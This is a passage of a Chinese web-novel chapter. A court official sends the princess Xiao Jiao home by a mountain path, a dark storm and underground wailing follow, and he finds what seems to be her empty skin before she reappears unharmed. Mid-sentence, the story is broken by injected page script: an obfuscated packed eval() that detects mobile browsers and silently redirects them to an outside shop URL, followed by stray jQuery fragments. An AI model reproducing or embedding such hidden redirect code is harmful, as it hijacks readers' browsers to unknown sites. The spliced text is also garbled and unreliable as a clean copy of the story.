过了晌午,采薇已把包裹收拾妥当。其实,这一趟出来,她们本就没有带多少东西,不过方才闫风识跟前的小侍过来,又添了不少,只说是郎君吩咐,采薇收拣一番,便装了满满一包。
她提着包裹出了帐篷,便见萧娇站在树下,正仰头望山。仙人峰高耸入云,其上云雾缭绕,淡烟飘薄。采薇走到萧娇面前,语带踌躇:“女郎,我们真要走啊?”
萧娇凝目一阵,才收回目光。不远处,闫风识正和几个署役谈论着什么,她冲采薇点了点头,而后朝着闫风识走去。
“……虽是采药人惯常走的小道,一路也要留心,如有意外,全力护住郡主。”
徐二应是,往一旁睇了一眼。闫风识扭头,见萧娇已收拾妥当,顿了顿,目光微微下移,先是落到手上,掌心破皮之处已经不再红肿,看上去恢复得不错。闫风识顿了顿,目光再次往下。素衫之下,一双凤履鞋面微微隆起,他蹙了蹙眉,问道:“你的脚当真无事?”
萧娇抿唇,不自然地动了动脚,缩进衣衫下。
“昨夜涂药后已好了许多,行路是无碍的。”
裙角微晃,闫风识适才反应过来,不自然地眨了眨眼。
“如此,也不要大意,药需每天三次涂用,才能好彻底。”
萧娇轻轻点头,凝目望他,默了半晌,闫风识才开口,语音凝涩:“走吧,我送你。”
站在小道口,萧娇再次回望,天际高远,万里无云。远处山峦起伏,若描若绘,倘若不是之前的异象,这里真的可称之为风物如画。
萧娇收回目光,闫风识并几个署役正在前面的大石下等她。从大石往南,在密叶的掩映下,隐约可见一条羊肠小道。这便是南归的小道了。
萧娇心中忽而升起一股未名愁绪,她行到大石下,微微仰头,目视闫风识。
“我这便走了。你,也要注意安全。”
默了默,闫风识轻轻点头。终于,萧娇不再看他,循着小道走进密林深处。
怀墨唏嘘:“郎君,我看郡主并非像外面说的那般嘛,明明很亲和,方才她还朝我道谢了。”
见身旁人没反应,怀墨卧蚕眉一扬,才看到自家郎君望着远处,目光惺忪。
怀墨眼珠微转,摇摇头,无声离开。
送走萧娇后,闫风识对之后行动重新做了部署。此趟巫山之行,他共带了十三名署役,除去护送萧娇的四名署役,眼下还剩下九人。当然,闫风识没打算让大家都跟随他进入巫山。他将余下人手划拨为两队,一队继续留守在仙人峰,一队则随他一起。
粗略问过大家意见后,闫风识选出三人随同,正要吩咐剩下事宜,忽听头顶一道闷雷乍响,而后天瞬间黑了下来。几乎是同时,平地里突地刮起狂风,风吹得树枝发出哗啦啦声响,飞沙被风吹起,劈头盖脸朝人打来,众人抬起衣袖,纷纷退至避风处。
四下黑漆漆一片,状如深夜,众人惊魂未定之时,就听漫天风声中,一道沉闷的,类似于咆哮的声音自远处传来。
署役瞬间警觉,纷纷抽出腰间佩刀。但很快,他们便发现,这声音似乎并非来自于地面,而是仿若从地底冒出来。
一瞬间,所有人都愣住了。从地底传来的声音愈来愈大,也愈来愈清晰,署役握刀的手也渐渐颤抖。
这是一种混杂着嘶吼、哀嚎、痛唳的惨叫声,凄厉如修罗,让人生出堕入地狱的荒诞感。众人汗毛倒数,冷汗都似凝固一般。他们是大理寺署役,自然下过大理寺诏狱,但即便是用上酷刑,也没有从哪位犯人口中听到过如此恐怖的叫喊声。
蓦然间,有人突然叫道:“出事了!”
黑漆漆的天幕上,一道红光猝然亮起。闫风识心中一惊,那是大理寺用以联络的信号,只有在万分紧急的情况下才会发射。
难道……是萧娇一队出事了?
众人还在惊诧,闫风识当先跨步而出。甫出了避风口,狂风裹挟着风沙顷刻席卷而至,闫风识眯着眼,还没走到后山小道口,一截儿臂粗的树枝被风吹着急速向着面门而来,他仓促后仰,才险险避过,后面传来署役的疾呼声,余大以袖挡脸,几步行至闫风识跟前。
“大人,你没事吧?”
闫风识摇头,用手指了指前方,众人会意,闪身进了山林。
一进密林,风沙果然小了不少,按照方才红光跃起的位置看,应是在东南向十里内。闫风识复吩咐众人小心,自己脚步不停,疾步向前行进。
这条小道虽有采药人行走,但道路仄逼,加之两旁灌木丛生,人行其中,十分困难。闫风识心中焦急,一边提起长剑砍断挡路的树枝,一边凝听周围的动静。
密林虽然挡住了风势,但那源于地底的凄厉声响却没有停歇,而且一声紧随一声,听得人心底发沉发闷。闫风识咬紧牙,竭力稳住心智,手下的动作却愈发狠厉,不知走了多久,直到再次一剑斩断横路灌木,他疾行的脚步才霍然顿住。
他看到,离他不足十步远的大树下,隐约露出一双凤履鞋。
只是一眼,他心中如遭电击。
那鞋半个时辰前他才见过,分明是萧娇穿的那双!
闫风识心跳如鼙鼓,他试着唤了一声郡主,然而树下的人却一动不动,没有回声。他不由更走近几步,刚迈开脚步,他忽而感觉不对。
闫风识记得,因为脚包了纱布,萧娇的鞋面是微微隆起的,但眼前的这双鞋,鞋面却很平滑,甚至有点空荡荡的。
这不是萧娇!
闫风识瞬间警觉,他握紧手中长剑,轻轻挪动脚步,而后迅速挥出。这一势去得又快又急,他料定,如果树下有人故意搞鬼,是绝无可能避开这一剑的。
然而,剑光霍亮间,他心头忽地一怔。
大片大片的树叶被风吹着,打着旋掉落下来。飞叶飘扬间,他看到,长剑正对的那人,一动不动地趴在地上,她身上穿的的确是萧娇的衣衫,但是那衣服极为平
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954584|137944||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扁,正软塌塌罩在那人身上,而衣服里的人,仿若抽去了肉骨,只剩一身皮,软软地伏趴在地面上。
这是一种何其诡异的画面。
闫风识眉心紧紧皱起。甚为大理寺少卿,他当然知道,在盛朝刑罚里,就有一种叫做剥皮的酷刑。剥皮者,先斩其首,而后自椎骨下刀,将人的皮肤剥成两半。这种酷刑虽记载于大盛法典里,但因过于残忍,自先帝起,就不再施行。
这人,难道是被施以剥皮酷刑?
闫风识再次挪动脚步,朝灌木掩映下的那人脸面望去,这一望,脸色陡然一变。
晃动的树影后,露出一张莹白的脸。肤如凝脂,面若春华。那正是萧娇的脸。眼下,那张脸同样软软地贴在地上,仿佛只剩下一张脸皮。
闫风识手中的剑哐当一声掉落,他猛地俯下身子,朝那人伸出手。
就在这时,身后忽传来一道幽幽之声:“闫风识?”
闫风识心中一震,这声音……他立即转头,就见萧娇站在一丈之外的大树下,正满脸惊诧地望着他。
闫风识眸孔紧缩,下意识回头,却发现眼前的地面上空空如也。方才那个倒伏在地的“人皮”不见了!
他霍然站起身,不可置信地望着地面,但是,那里除了杂乱倒伏的荒草,依旧什么也没有。
这是怎么回事?
闫风识慢慢抬头。萧娇站在树下,头上发髻被风吹乱,几缕发丝贴在脸颊,显得颇为狼狈,她眉心颦蹙,脸色亦有些苍白,顿了几息后,再次开口:“闫少卿,是你吗?”
闫风识倏尔回神,他捡起长剑,几步走到她跟前,上下扫视一眼,问:“你真是郡主?”
萧娇仰头,面露疑惑:“为何这般问……你放才在那看什么?”
闫风识不答,又问:“怎么只有你一人,其他人呢?”
萧娇摇头,这才把方才的经历说了。原来他们刚行了不久就起风了,风势愈来愈大,署役护着萧娇想找个就近的避风口,但跟在后面的采薇却不知怎的滑了一跤,滚落到山坡下。萧娇心急,忙让两名署役下去找她,而这时徐二也找到了一处两尺深的凹洞,他们进了洞内暂避,可左等右等都不见采薇他们回来,她担心出了意外,便让徐二过去看看。这一去又过了很久,然后萧娇便见夜空中燃起了红光,心知是出事了,她一路找来,明明采薇跌落之处离得不远,可她无论怎么寻,都没有见到他们。再之后,她便遇到闫风识。
“这一路,你没有遇到什么奇怪—”
话未说完,闫风识却突然停了下来,目光恍然一滞。
方才他的全部注意力都在树下“人皮”身上,才发现不知何时起,耳旁一直飘荡的那道源于地底的凄厉嘶鸣竟然消失了,不光如此,之前一直紧跟在他身后的役人也不知到哪去了。
风声渐渐低下来,闫风识站在原地,忽感觉脸上一点冰冷,他抬头,发现灰蒙蒙的天际里,雨如细丝,正沥沥纷扬飘下。